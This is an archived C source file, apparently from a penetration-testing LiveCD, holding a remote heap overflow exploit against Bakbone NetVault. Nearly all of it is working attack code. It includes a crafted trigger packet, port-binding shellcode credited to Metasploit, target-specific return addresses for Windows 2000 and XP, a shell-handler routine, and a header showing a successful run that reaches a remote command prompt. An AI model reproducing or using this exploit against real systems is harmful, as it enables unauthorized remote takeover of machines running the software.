home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / backup / netvault / netvault.c < prev    next >
C/C++ Source or Header  |  2005-05-24  |  9KB  |  286 lines

  1. /* Bakbone Netvault heap overflow exploit. 
  2. Software Hole discovered by BuzzDee
  3. POC written by nolimit and BuzzDee.
  4.  
  5. As class101 has already shown, this application has a lot of holes. 
  6. This is another remote heap overflow. This was tested on the demo version
  7. of netvault. We considered mailing the vendor on this one, but figured we'd recieve
  8. the same response class did, which was none. So perhaps a second critical vulnerabilty
  9. will wake Bakbone up to their software faults. 
  10.  
  11. A note to skiddies about this exploit
  12. This won't really net you a lot of elite b0xes because class101's isn't patched,
  13.  so it's just as vulnerable as this. Not to mention the fact that not many businesses
  14.  use this software anyway.
  15.  ..Maybe it's because of all the holes??
  16.  
  17. Thx to Flare, AceHigh, Shift,class101, and of course BuzzDee.
  18. Sorry.. everyone wants to be famous :)
  19.  
  20.  
  21.  C:\CODING\c++\netvault\Release>netvault 1 2KVM
  22. [*] Target:     2KVM    Port: 20031
  23.  
  24. Targetting 2K..
  25. [*] Socket initialized...
  26. [*] Sending  buffer.
  27. [*] Sleeping..............
  28. [*] Connecting again to trigger overflow..
  29. [*] Connecting to host: 2KVM on port 101
  30. [*] Exploit worked! dropping into shell
  31. Microsoft Windows 2000 [Version 5.00.2195]
  32. (C) Copyright 1985-2000 Microsoft Corp.
  33.  
  34. C:\Program Files\BakBone Software\NetVault>
  35. -nolimit@COREiSO
  36. */
  37. #include <stdio.h>
  38. #include <string.h>
  39. #include <io.h>
  40. #include <winsock.h>
  41. #pragma comment(lib,"ws2_32")
  42.  
  43. void cmdshell (int sock);
  44. long gimmeip(char *hostname);
  45. char buffer[40000];
  46. //initial request to host
  47. char packet[]=
  48. "\x00\x00\x02\x01\x00\x00\x00\x8F\xD0\xF0\xCA\x0B\x00\x00\x00\x69"
  49. "\x3B\x62\x3B\x6F\x3B\x6F\x3B\x7A\x3B\x00\x11\x57\x3C\x42\x00\x01"
  50. "\xB9\xF9\xA2\xC8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01\xA5\x97"
  51. "\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00\x00\x10"
  52. "\x02\x4E\x3F\xAC\x14\xCC\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  53. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"
  54. "\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00"
  55. "\x00\x10\x02\x4E\x3F\xC0\xA8\xEA\xEB\x00\x00\x00\x00\x00\x00\x00"
  56. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  57. "\x00\x01\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20"
  58. "\x00\x00\x00\x10\x02\x4E\x3F\xC2\x97\x2C\xD3\x00\x00\x00\x00\x00"
  59. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  60. "\x00\x00\x00\xB9\xF9\xA2\xC8\x02\x02\x00\x00\x00\xA5\x97\xF0\xCA"
  61. "\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00\x00\x04\x02\x4E"
  62. "\x3F\xAC\x14\xCC\x0A\xB0\xFC\xE2\x00\x00\x00\x00\x00\xEC\xFA\x8E"
  63. "\x01\xA4\x6B\x41\x00\xE4\xFA\x8E\x01\xFF\xFF\xFF\xFF\x01\x02";
  64. //class101 modified shellcode from metasploit.com. yummy.
  65. char shellcode[]=
  66.     "\x33\xC9\x83\xE9\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB"
  67.     "\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95"
  68.     "\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1"
  69.     "\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B"
  70.     "\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E"
  71.     "\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76"
  72.     "\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A"
  73.     "\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64"
  74.     "\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58"
  75.     "\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C"
  76.     "\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95"
  77.     "\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F"
  78.     "\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B"
  79.     "\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02"
  80.     "\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D"
  81.     "\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07"
  82.     "\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99"
  83.     "\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18"
  84.     "\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B"
  85.     "\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95"
  86.     "\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02" 
  87.     "\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A";
  88.  
  89. char jmpToXP[]="\xBD\x9B\x36\x7C"; //XP SP1
  90. char uefOverWriteXP[]="\xB4\x73\xED\x77";//XP SP1
  91. char jmpTo2K[]="\x7E\x6D\x03\x75";  //2k SP4
  92. char uefOverWrite2K[]="\x4C\x14\x54\x7C";  //2K SP4
  93.  
  94. int main(int argc,char *argv[])
  95. {     
  96.         WSADATA wsaData;
  97.         struct sockaddr_in targetTCP;
  98.         int sockTCP,s;
  99.         unsigned short port = 20031;
  100.         long ip;
  101.         if(argc < 3)
  102.         {
  103.             
  104.             printf("Bakbone Netvault Remote Heap Overflow.\n"
  105.                 "Usage: %s [Target] [address] <port>\n"
  106.                 " eg: netvault.exe 1 127.0.0.1\n"
  107.                 "Targets\n1. Windows 2000\n2. Windows XP SP0-1\n"
  108.                     "Coded by nolimit@CiSO and BuzzDee.\n",argv[0]);
  109.             return 1;            
  110.         }        
  111.         if(argc==4)
  112.             port = atoi(argv[3]);                    
  113.         WSAStartup(0x0202, &wsaData);                
  114.         printf("[*] Target:\t%s \tPort: %d\n\n",argv[2],port);
  115.         ip=gimmeip(argv[2]);    
  116.         targetTCP.sin_family = AF_INET;
  117.         targetTCP.sin_addr.s_addr = ip;
  118.         targetTCP.sin_port = htons(port);
  119.         memset(buffer,'\x90',40000);
  120.         memcpy(buffer,packet,sizeof(packet)-1); //request packet
  121.         memcpy(buffer+32790,"\xEB\x0C",2); //JMP ahead over the 2 overwrites
  122.         switch(atoi(argv[1]))
  123.         {
  124.             case 1:
  125.             printf("Targetting 2K..\n");
  126.             memcpy(buffer+32792,jmpTo2K,sizeof(jmpTo2K)-1); //overwrite pointer to CALL [EDI+74]
  127.             memcpy(buffer+32796,uefOverWrite2K,sizeof(uefOverWrite2K)-1); //UEF as chosen.
  128.             break;
  129.             case 2:
  130.             printf("Targetting XP..\n");
  131.             memcpy(buffer+32792,jmpToXP,sizeof(jmpToXP)-1); //overwrite pointer to CALL [EDI+74]
  132.             memcpy(buffer+32796,uefOverWriteXP,sizeof(uefOverWriteXP)-1); //UEF as chosen.
  133.             break;
  134.             default:
  135.             printf("Error target not found.\n");
  136.             return 1;
  137.             break;
  138.         }
  139.         memcpy(buffer+32820,shellcode,sizeof(shellcode)-1); //101 portbind thx class101/metasploit ;p
  140.         memcpy(buffer+39947,"\x00\x00\x00",3); //all done! only 39950 bytes! ;P
  141.         if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  142.         {
  143.                 printf("[x] Socket not initialized! Exiting...\n");
  144.                 WSACleanup();
  145.                 return 1;
  146.         }
  147.         printf("[*] Socket initialized...\n");                    
  148.         if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
  149.         {
  150.             printf("[*] Connection to host failed! Exiting...\n");
  151.             WSACleanup();
  152.             exit(1);
  153.         }         
  154.         printf("[*] Sending  buffer.\n");
  155.         Sleep(1000);
  156.         if (send(sockTCP, buffer, 39950,0) == -1)
  157.         {
  158.                 printf("[x] Failed to inject packet! Exiting...\n");
  159.                 WSACleanup();
  160.                 return 1;
  161.         }        
  162.         printf("[*] Sleeping.");
  163.         for(s=0;s<8;s++)
  164.         { //wait for it to catch
  165.             printf(".");
  166.             Sleep(500);
  167.         }
  168.         closesocket(sockTCP);
  169.         for(s=0;s<5;s++)
  170.         {
  171.             printf(".");
  172.             Sleep(500);
  173.         } //exploit triggers when you reconnect sometimes
  174.         printf("\n[*] Connecting again to trigger overflow..\n");
  175.         if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  176.         { 
  177.                 printf("[x] Socket not initialized! Exiting...\n");
  178.                 WSACleanup();
  179.                 return 1;
  180.         }
  181.         if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
  182.         {
  183.             printf("[*] Connection to host failed! Exiting...\n");
  184.             WSACleanup();
  185.             exit(1);
  186.         }         
  187.         Sleep(500);
  188.         closesocket(sockTCP);
  189.                 
  190.         printf("[*] Connecting to host: %s on port 101\n",argv[2]);
  191.         if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  192.         {
  193.                 printf("[x] Socket not initialized! Exiting...\n");
  194.                 WSACleanup();
  195.                 return 1;
  196.         }
  197.         targetTCP.sin_port= htons(101);
  198.         if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
  199.         {
  200.             printf("[*] Connection to host failed! Exiting...\n");
  201.             WSACleanup();
  202.             exit(1);
  203.         }         
  204.         printf("[*] Exploit worked! dropping into shell\n");
  205.         cmdshell(sockTCP);
  206.         WSACleanup();
  207.         exit(1);
  208.         return 0;
  209. }
  210. /*
  211. Taken from some random exploit.
  212. good, simple cmdshell function.
  213. */
  214. void cmdshell (int sock)
  215. {
  216.  struct timeval tv;
  217.  int length;
  218.  unsigned long o[2];
  219.  char buffer[1000];
  220.  
  221.  tv.tv_sec = 1;
  222.  tv.tv_usec = 0;
  223.  
  224.  while (1) 
  225.  {
  226.     o[0] = 1;
  227.     o[1] = sock;    
  228.  
  229.     length = select (0, (fd_set *)&o, NULL, NULL, &tv);
  230.     if(length == 1)
  231.     {
  232.         length = recv (sock, buffer, sizeof (buffer), 0);
  233.         if (length <= 0) 
  234.         {
  235.             printf ("[x] Connection closed.\n");
  236.             WSACleanup();
  237.             return;
  238.         }
  239.         length = write (1, buffer, length);
  240.         if (length <= 0) 
  241.         {
  242.             printf ("[x] Connection closed.\n");
  243.             WSACleanup();
  244.             return;
  245.         }
  246.     }
  247.     else
  248.     {
  249.         length = read (0, buffer, sizeof (buffer));
  250.         if (length <= 0) 
  251.         {
  252.             printf("[x] Connection closed.\n");
  253.             WSACleanup();
  254.             return;
  255.         }
  256.         length = send(sock, buffer, length, 0);
  257.         if (length <= 0) 
  258.         {
  259.             printf("[x] Connection closed.\n");
  260.             WSACleanup();
  261.             return;
  262.         }
  263.     }
  264. }
  265.  
  266. }
  267. /*********************************************************************************/
  268. long gimmeip(char *hostname) 
  269. {
  270.     struct hostent *he;
  271.     long ipaddr;
  272.     
  273.     if ((ipaddr = inet_addr(hostname)) < 0) 
  274.     {
  275.         if ((he = gethostbyname(hostname)) == NULL) 
  276.         {
  277.             printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
  278.             WSACleanup();
  279.             exit(1);
  280.         }
  281.         memcpy(&ipaddr, he->h_addr, he->h_length);
  282.     }    
  283.     return ipaddr;
  284. }
  285. /*********************************************************************************/
  286.